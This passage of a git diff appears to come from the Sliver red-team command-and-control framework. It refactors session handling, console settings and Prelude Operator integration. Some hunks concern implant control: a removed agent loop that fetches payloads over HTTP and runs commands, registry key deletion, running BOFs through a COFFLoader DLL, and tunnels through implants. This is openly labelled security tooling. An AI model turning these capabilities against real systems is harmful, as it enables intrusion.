||||
})
|
||||
} else {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
burned + SessionHealth,
|
||||
})
|
||||
}
|
||||
}
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "ID", Mode: table.Asc},
|
||||
})
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// ShortSessionID - Shorten the session ID
|
||||
func ShortSessionID(id string) string {
|
||||
return strings.Split(id, "-")[0]
|
||||
}
|
||||
@@ -19,6 +19,8 @@ package settings
|
||||
*/
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -43,9 +45,55 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
|
||||
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
|
||||
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
|
||||
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
|
||||
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// SettingsAlwaysOverflow - Toggle always overflow
|
||||
func SettingsAlwaysOverflow(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if con.Settings == nil {
|
||||
con.Settings, err = assets.LoadSettings()
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
con.Settings.AlwaysOverflow = !con.Settings.AlwaysOverflow
|
||||
con.PrintInfof("Always overflow = %v\n", con.Settings.AlwaysOverflow)
|
||||
}
|
||||
|
||||
// SettingsSmallTerm - Modify small terminal width value
|
||||
func SettingsSmallTerm(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if con.Settings == nil {
|
||||
con.Settings, err = assets.LoadSettings()
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
result := ""
|
||||
prompt := &survey.Input{Message: "Set small width:"}
|
||||
err = survey.AskOne(prompt, &result)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
newWidth, err := strconv.Atoi(result)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if newWidth < 1 {
|
||||
con.PrintErrorf("Invalid width (too small)\n")
|
||||
return
|
||||
}
|
||||
con.Settings.SmallTermWidth = newWidth
|
||||
con.PrintInfof("Small terminal width set to %d\n", con.Settings.SmallTermWidth)
|
||||
}
|
||||
|
||||
// SettingsTablesCmd - The client settings command
|
||||
func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
|
||||
@@ -27,7 +27,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -181,9 +181,9 @@ func PagesOf(renderedTable string) [][]string {
|
||||
func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverConsoleClient) {
|
||||
renderedTable := tw.Render()
|
||||
lineCount := strings.Count(renderedTable, "\n")
|
||||
if !overflow {
|
||||
if !overflow || con.Settings.AlwaysOverflow {
|
||||
// Only paginate if the number of lines is at least 2x the terminal height
|
||||
width, height, err := terminal.GetSize(0)
|
||||
width, height, err := term.GetSize(0)
|
||||
if err == nil && 2*height < lineCount {
|
||||
if 7 < height {
|
||||
tw.SetPageSize(height - 6)
|
||||
|
||||
@@ -358,6 +358,14 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
}
|
||||
filesystem.PrintLs(ls, flags, "", con)
|
||||
|
||||
case sliverpb.MsgMvReq:
|
||||
mv := &sliverpb.Mv{}
|
||||
err := proto.Unmarshal(task.Response, mv)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
case sliverpb.MsgMkdirReq:
|
||||
mkdir := &sliverpb.Mkdir{}
|
||||
err := proto.Unmarshal(task.Response, mkdir)
|
||||
@@ -559,6 +567,21 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
}
|
||||
registry.PrintCreateKey(createKey, createKeyReq.Path, createKeyReq.Key, con)
|
||||
|
||||
case sliverpb.MsgRegistryDeleteKeyReq:
|
||||
deleteKeyReq := &sliverpb.RegistryDeleteKeyReq{}
|
||||
err := proto.Unmarshal(task.Request, deleteKeyReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
deleteKey := &sliverpb.RegistryDeleteKey{}
|
||||
err = proto.Unmarshal(task.Response, deleteKey)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
registry.PrintDeleteKey(deleteKey, deleteKeyReq.Path, deleteKeyReq.Key, con)
|
||||
|
||||
case sliverpb.MsgRegistryListValuesReq:
|
||||
listValuesReq := &sliverpb.RegistryListValuesReq{}
|
||||
err := proto.Unmarshal(task.Request, listValuesReq)
|
||||
|
||||
@@ -29,7 +29,7 @@ func UseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, err := sessions.SelectSession(false, con)
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Active session %s (%s)\n", session.Name, session.ID)
|
||||
} else if err != nil {
|
||||
switch err {
|
||||
case sessions.ErrNoSessions:
|
||||
|
||||
+16
-16
@@ -24,7 +24,6 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
@@ -56,7 +55,7 @@ func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Active session %s (%s)\n", session.Name, session.ID)
|
||||
} else if beacon != nil {
|
||||
con.ActiveTarget.Set(nil, beacon)
|
||||
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, beacon.ID)
|
||||
@@ -69,10 +68,9 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
idNumber, err := strconv.Atoi(id)
|
||||
if err == nil {
|
||||
for _, session := range sessions.Sessions {
|
||||
if session.ID == uint32(idNumber) {
|
||||
if strings.HasPrefix(session.ID, id) {
|
||||
return session, nil, nil
|
||||
}
|
||||
}
|
||||
@@ -96,15 +94,15 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sessionsMap := map[uint32]*clientpb.Session{}
|
||||
sessionsMap := map[string]*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
var sessionKeys []int
|
||||
var sessionKeys []string
|
||||
for _, session := range sessions.Sessions {
|
||||
sessionKeys = append(sessionKeys, int(session.ID))
|
||||
sessionKeys = append(sessionKeys, session.ID)
|
||||
}
|
||||
sort.Ints(sessionKeys)
|
||||
sort.Strings(sessionKeys)
|
||||
|
||||
// Get and sort beacons
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
@@ -122,7 +120,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
sort.Strings(beaconKeys)
|
||||
|
||||
if len(beaconKeys) == 0 && len(sessionKeys) == 0 {
|
||||
return nil, nil, fmt.Errorf("No sessions or beacons 🙁")
|
||||
return nil, nil, fmt.Errorf("no sessions or beacons 🙁")
|
||||
}
|
||||
|
||||
// Render selection table
|
||||
@@ -130,9 +128,10 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
for _, key := range sessionKeys {
|
||||
session := sessionsMap[uint32(key)]
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
|
||||
session.ID,
|
||||
session := sessionsMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
"SESSION",
|
||||
strings.Split(session.ID, "-")[0],
|
||||
session.Name,
|
||||
session.RemoteAddress,
|
||||
session.Hostname,
|
||||
@@ -142,7 +141,8 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
}
|
||||
for _, key := range beaconKeys {
|
||||
beacon := beaconsMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
"BEACON",
|
||||
strings.Split(beacon.ID, "-")[0],
|
||||
beacon.Name,
|
||||
beacon.RemoteAddress,
|
||||
@@ -167,7 +167,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
if index < len(sessionKeys) {
|
||||
return sessionsMap[uint32(sessionKeys[index])], nil, nil
|
||||
return sessionsMap[sessionKeys[index]], nil, nil
|
||||
}
|
||||
return nil, beaconsMap[beaconKeys[index-len(sessionKeys)]], nil
|
||||
}
|
||||
@@ -182,9 +182,9 @@ func BeaconAndSessionIDCompleter(prefix string, args []string, con *console.Sliv
|
||||
return
|
||||
}
|
||||
for _, s := range sessions.Sessions {
|
||||
sid := fmt.Sprintf("%d", s.ID)
|
||||
sid := s.ID
|
||||
if strings.HasPrefix(sid, prefix) {
|
||||
results = append(results, fmt.Sprintf("%d", s.ID))
|
||||
results = append(results, s.ID)
|
||||
}
|
||||
}
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
|
||||
+32
-18
@@ -31,6 +31,7 @@ import (
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
@@ -41,13 +42,10 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"time"
|
||||
|
||||
"github.com/desertbit/go-shlex"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/fatih/color"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -167,7 +165,8 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (DNS Canary)\n", Normal, event.Session.Name)
|
||||
sessions := con.GetSessionsByName(event.Session.Name)
|
||||
for _, session := range sessions {
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected\n", session.ID)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
|
||||
}
|
||||
|
||||
case consts.WatchtowerEvent:
|
||||
@@ -175,7 +174,8 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (seen on %s)\n", Normal, event.Session.Name, msg)
|
||||
sessions := con.GetSessionsByName(event.Session.Name)
|
||||
for _, session := range sessions {
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected", session.ID)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
|
||||
}
|
||||
|
||||
case consts.JoinedEvent:
|
||||
@@ -190,12 +190,13 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
case consts.SessionOpenedEvent:
|
||||
session := event.Session
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
con.PrintEventInfof("Session #%d %s - %s (%s) - %s/%s - %v",
|
||||
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventInfof("Session %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
|
||||
// Prelude Operator
|
||||
if prelude.SessionMapper != nil {
|
||||
err = prelude.SessionMapper.AddSession(session)
|
||||
if prelude.ImplantMapper != nil {
|
||||
err = prelude.ImplantMapper.AddImplant(session, nil)
|
||||
if err != nil {
|
||||
con.PrintEventErrorf("Could not add session to Operator: %s", err)
|
||||
}
|
||||
@@ -204,20 +205,23 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
case consts.SessionUpdateEvent:
|
||||
session := event.Session
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
con.PrintEventInfof("Session #%d has been updated - %v", session.ID, currentTime)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
|
||||
|
||||
case consts.SessionClosedEvent:
|
||||
session := event.Session
|
||||
con.PrintEventErrorf("Lost session #%d %s - %s (%s) - %s/%s",
|
||||
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch)
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
activeSession := con.ActiveTarget.GetSession()
|
||||
if activeSession != nil && activeSession.ID == session.ID {
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
con.PrintEventErrorf("Active session disconnected")
|
||||
con.App.SetPrompt(con.GetPrompt())
|
||||
}
|
||||
if prelude.SessionMapper != nil {
|
||||
err = prelude.SessionMapper.RemoveSession(session)
|
||||
if prelude.ImplantMapper != nil {
|
||||
err = prelude.ImplantMapper.RemoveImplant(session)
|
||||
if err != nil {
|
||||
con.PrintEventErrorf("Could not remove session from Operator: %s", err)
|
||||
}
|
||||
@@ -229,9 +233,19 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
proto.Unmarshal(event.Data, beacon)
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
shortID := strings.Split(beacon.ID, "-")[0]
|
||||
con.PrintEventInfof("Beacon #%s %s - %s (%s) - %s/%s - %v",
|
||||
con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
|
||||
|
||||
// Prelude Operator
|
||||
if prelude.ImplantMapper != nil {
|
||||
err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) {
|
||||
con.AddBeaconCallback(taskID, cb)
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
case consts.BeaconTaskResultEvent:
|
||||
con.triggerBeaconTaskCallback(event.Data)
|
||||
}
|
||||
@@ -295,7 +309,7 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
|
||||
|
||||
// If the callback is not in our map then we don't do anything, the beacon task
|
||||
// was either issued by another operator in multiplayer mode or the client process
|
||||
// was restarted between the time the task was created and the server go the result
|
||||
// was restarted between the time the task was created and when the server got the result
|
||||
con.BeaconTaskCallbacksMutex.Lock()
|
||||
defer con.BeaconTaskCallbacksMutex.Unlock()
|
||||
if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok {
|
||||
@@ -406,7 +420,7 @@ func (con *SliverConsoleClient) GetSession(arg string) *clientpb.Session {
|
||||
return nil
|
||||
}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session.Name == arg || fmt.Sprintf("%d", session.ID) == arg {
|
||||
if session.Name == arg || strings.HasPrefix(session.ID, arg) {
|
||||
return session
|
||||
}
|
||||
}
|
||||
|
||||
@@ -167,6 +167,7 @@ const (
|
||||
ExecuteStr = "execute"
|
||||
|
||||
LsStr = "ls"
|
||||
MvStr = "mv"
|
||||
RmStr = "rm"
|
||||
MkdirStr = "mkdir"
|
||||
CdStr = "cd"
|
||||
@@ -211,6 +212,7 @@ const (
|
||||
RegistryListSubStr = "list-subkeys"
|
||||
RegistryListValuesStr = "list-values"
|
||||
RegistryCreateKeyStr = "create"
|
||||
RegistryDeleteKeyStr = "delete"
|
||||
PivotsStr = "pivots"
|
||||
WgConfigStr = "wg-config"
|
||||
WgSocksStr = "wg-socks"
|
||||
@@ -219,6 +221,7 @@ const (
|
||||
SSHStr = "ssh"
|
||||
DLLHijackStr = "dllhijack"
|
||||
InteractiveStr = "interactive"
|
||||
CloseStr = "close"
|
||||
|
||||
PortfwdStr = "portfwd"
|
||||
Socks5Str = "socks5"
|
||||
|
||||
@@ -29,7 +29,7 @@ var (
|
||||
// PortfwdMeta - Metadata about a portfwd listener
|
||||
type PortfwdMeta struct {
|
||||
ID int
|
||||
SessionID uint32
|
||||
SessionID string
|
||||
BindAddr string
|
||||
RemoteAddr string
|
||||
}
|
||||
@@ -184,7 +184,7 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
|
||||
log.Printf("[tcpproxy] Failed to dial implant %s", err)
|
||||
return nil, err
|
||||
}
|
||||
log.Printf("[tcpproxy] Created new tunnel with id %d (session %d)", rpcTunnel.TunnelID, p.Session.ID)
|
||||
log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
|
||||
tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
|
||||
|
||||
log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
|
||||
|
||||
@@ -47,7 +47,7 @@ var (
|
||||
// PortfwdMeta - Metadata about a portfwd listener
|
||||
type SocksProxyMeta struct {
|
||||
ID int
|
||||
SessionID uint32
|
||||
SessionID string
|
||||
BindAddr string
|
||||
Username string
|
||||
Password string
|
||||
|
||||
@@ -32,7 +32,7 @@ func (t *tunnels) Get(tunnelID uint64) *Tunnel {
|
||||
}
|
||||
|
||||
// Start - Add a tunnel to the core mapper
|
||||
func (t *tunnels) Start(tunnelID uint64, sessionID uint32) *Tunnel {
|
||||
func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
|
||||
t.mutex.Lock()
|
||||
defer t.mutex.Unlock()
|
||||
tunnel := &Tunnel{
|
||||
@@ -75,7 +75,7 @@ func (t *tunnels) Close(tunnelID uint64) {
|
||||
type Tunnel struct {
|
||||
ID uint64
|
||||
IsOpen bool
|
||||
SessionID uint32
|
||||
SessionID string
|
||||
|
||||
Send chan []byte
|
||||
Recv chan []byte
|
||||
|
||||
+4
-4
@@ -32,11 +32,11 @@ import (
|
||||
func init() {
|
||||
buf := make([]byte, 8)
|
||||
_, err := rand.Read(buf)
|
||||
seed := uint64(time.Now().Unix())
|
||||
if err == nil {
|
||||
binary.LittleEndian.PutUint64(buf, uint64(seed))
|
||||
if err != nil {
|
||||
insecureRand.Seed(int64(time.Now().Unix()))
|
||||
} else {
|
||||
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
|
||||
}
|
||||
insecureRand.Seed(int64(seed))
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
@@ -1,166 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/prelude/util"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
delim = "\r\n"
|
||||
)
|
||||
|
||||
type AgentSession struct {
|
||||
Conn *net.Conn
|
||||
Session *clientpb.Session
|
||||
RPC rpcpb.SliverRPCClient
|
||||
Beacon Beacon
|
||||
Config AgentConfig
|
||||
}
|
||||
|
||||
func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
|
||||
return &AgentSession{
|
||||
Conn: c,
|
||||
Session: s,
|
||||
RPC: rpc,
|
||||
Config: conf,
|
||||
Beacon: b,
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) ReceiveLoop() {
|
||||
for {
|
||||
err := a.send()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
scanner := bufio.NewScanner(*a.Conn)
|
||||
for scanner.Scan() {
|
||||
message := strings.TrimSpace(scanner.Text())
|
||||
err = a.respond(message)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) send() error {
|
||||
data, err := json.Marshal(a.Beacon)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
|
||||
sendBuffer := make([]byte, 1024)
|
||||
for {
|
||||
_, err := dataBuff.Read(sendBuffer)
|
||||
if err == io.EOF {
|
||||
return nil
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err = (*a.Conn).Write(sendBuffer); err != nil {
|
||||
return err
|
||||
}
|
||||
time.Sleep(time.Duration(a.Beacon.Sleep))
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) respond(message string) error {
|
||||
var tempBeacon Beacon
|
||||
if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
|
||||
a.Beacon.Links = a.Beacon.Links[:0]
|
||||
a.runLinks(&tempBeacon)
|
||||
}
|
||||
a.refreshBeacon(&a.Config)
|
||||
a.send()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (a *AgentSession) runLinks(tempBeacon *Beacon) {
|
||||
for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
|
||||
time.Sleep(time.Second * 1)
|
||||
var payload []byte
|
||||
if link.Payload != "" {
|
||||
payload, _ = requestPayload(link.Payload)
|
||||
}
|
||||
response, status, pid := RunCommand(link.Request, link.Executor, payload, a)
|
||||
link.Response = response
|
||||
link.Status = status
|
||||
link.Pid = pid
|
||||
a.Beacon.Links = append(a.Beacon.Links, link)
|
||||
a.Config.EndInstruction(link)
|
||||
}
|
||||
}
|
||||
|
||||
func requestPayload(target string) ([]byte, error) {
|
||||
resp, err := http.Get(target)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
|
||||
}
|
||||
return ioutil.ReadAll(resp.Body)
|
||||
}
|
||||
|
||||
func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
|
||||
var pwd string
|
||||
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(a.Session),
|
||||
})
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
a.Beacon.Sleep = conf.Sleep
|
||||
a.Beacon.Range = conf.Range
|
||||
a.Beacon.Pwd = pwd
|
||||
a.Beacon.Target = conf.Address
|
||||
a.Beacon.Executing = conf.BuildExecutingHash()
|
||||
|
||||
}
|
||||
|
||||
func MakeRequest(session *clientpb.Session) *commonpb.Request {
|
||||
if session == nil {
|
||||
return nil
|
||||
}
|
||||
timeout := int64(defaultTimeout)
|
||||
return &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: timeout,
|
||||
}
|
||||
}
|
||||
+37
-12
@@ -1,5 +1,23 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
@@ -9,7 +27,6 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
@@ -25,9 +42,9 @@ type bofArgs struct {
|
||||
Value interface{} `json:"value"`
|
||||
}
|
||||
|
||||
func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs) (output string, err error) {
|
||||
if !isLoaderLoaded(session, rpc) {
|
||||
err = registerLoader(session, rpc)
|
||||
func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
|
||||
if !isLoaderLoaded(implant, rpc) {
|
||||
err = registerLoader(implant, rpc)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
@@ -37,6 +54,8 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
|
||||
}
|
||||
for _, a := range args {
|
||||
switch a.ArgType {
|
||||
case "integer":
|
||||
fallthrough
|
||||
case "int":
|
||||
if v, ok := a.Value.(float64); ok {
|
||||
err = bofArgs.AddInt(uint32(v))
|
||||
@@ -89,13 +108,19 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
|
||||
ServerStore: false,
|
||||
Args: extArgsBuffer,
|
||||
Export: loaderEntryPoint,
|
||||
Request: MakeRequest(session),
|
||||
Request: MakeRequest(implant),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// If Async req, onFinishCallback won't be nil
|
||||
if onFinishCallback != nil {
|
||||
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
|
||||
return
|
||||
}
|
||||
|
||||
if extResp.Response != nil && extResp.Response.Err != "" {
|
||||
err = errors.New(extResp.Response.Err)
|
||||
}
|
||||
@@ -104,16 +129,16 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
|
||||
return
|
||||
}
|
||||
|
||||
func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error {
|
||||
func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
|
||||
var coffLoaderPath string
|
||||
|
||||
switch session.Arch {
|
||||
switch implant.GetArch() {
|
||||
case "amd64":
|
||||
coffLoaderPath = "COFFLoader.x64.dll"
|
||||
case "386":
|
||||
